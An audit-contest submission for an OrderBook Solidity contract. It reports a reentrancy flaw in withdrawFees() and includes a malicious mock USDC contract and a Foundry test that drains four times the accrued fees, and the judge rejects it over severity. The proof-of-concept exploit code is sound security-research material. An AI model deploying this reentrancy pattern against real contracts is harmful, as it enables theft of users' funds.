OrderBook
First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: medium
Likelihood: low
Invalid

Reentrancy attack on withdrawFees()

xgrybto

Description

  • The function withdrawFees() is vulnerable to reentrancy attack since it doesn’t respect the CEI pattern

  • A malicious owner could implement an USDC token contract to withdraw all the USDC funds inside the contract, not just the fees that orders have generated

  • Few requirements are needed :

    • The owner has to be the malicious contract, otherwise it can’t call withdrawFees function on his callback (since onlyOwner modifier is used)

    • The malicious contract needs to override transfer() function

function withdrawFees(address _to) external onlyOwner {
// CHECK
if (totalFees == 0) {
revert InvalidAmount();
}
if (_to == address(0)) {
revert InvalidAddress();
}
// INTERACT
iUSDC.safeTransfer(_to, totalFees);
// EFFECT
totalFees = 0; //
...

Risk

Likelihood:

  • if the owner is using a malicious token contract instead of the official USDC contract

  • if USDC balance of the Orderbook contract is greater than the totalFees amount

Impact:

  • all the USDC funds of the contract can be stolen

Proof of Concept

Malicious contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.26;
​
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {MockUSDC} from "test/mocks/MockUSDC.sol";
import {OrderBook} from "src/OrderBook.sol";
​
contract MockMaliciousUSDC is MockUSDC {
constructor() MockUSDC(6) {}
​
function transfer(
address to,
uint256 value
) public override returns (bool) {
bool answer = super.transfer(to, value);
if (MockUSDC(this).balanceOf(msg.sender) >= value) {
OrderBook(address(msg.sender)).withdrawFees(to);
}
return answer;
}
}

Attack scenario

function setUp() public {
// owner = makeAddr("protocol_owner");
owner = address(new MockMaliciousUSDC()); //set the malicious contract as the owner
...
usdc = MockUSDC(owner); //replace the USDC contract
...
}
​
function test_reentrancyAttackOnWithdrawFees() public {
vm.startPrank(alice);
wbtc.approve(address(book), 2e8);
uint256 aliceId = book.createSellOrder(
address(wbtc),
2e8,
180_000e6,
2 days
); // Alice creates an order
vm.stopPrank();
assert(usdc.balanceOf(address(book)) == 0);
​
vm.startPrank(dan);
usdc.approve(address(book), 200_000e6);
book.buyOrder(aliceId); // dan buys alice wbtc order
vm.stopPrank();
assert(book.totalFees() > 0);
​
uint256 _fees = book.totalFees();
usdc.mint(address(book), (_fees / 1e6) * 3); // Providing 3 times more USDC to the contract
vm.startPrank(owner);
book.withdrawFees(owner); // Withdrawing all USDC with reentrancy attack
console2.log(
"Withdrawable fees: ",
_fees / 1e6,
"; Value extracted: ",
usdc.balanceOf(owner) / 1e6
);
assert(usdc.balanceOf(owner) == _fees * 4); // Verify that the value extracted is 4 times more than the totalFees amount
}

Recommended Mitigation

Respect the CEI pattern

Updates

Lead Judging Commences

yeahchibyke Lead Judge
5 months ago
yeahchibyke Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

CEI pattern not followed in `withdrawFees()` function

`withdrawFees()` function performs an external transfer using `iUSDC.safeTransfer()` before resetting totalFees. This breaks the `Checks-Effects-Interactions (CEI)` pattern and can lead to incorrect internal state if the transfer fails for any reason.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!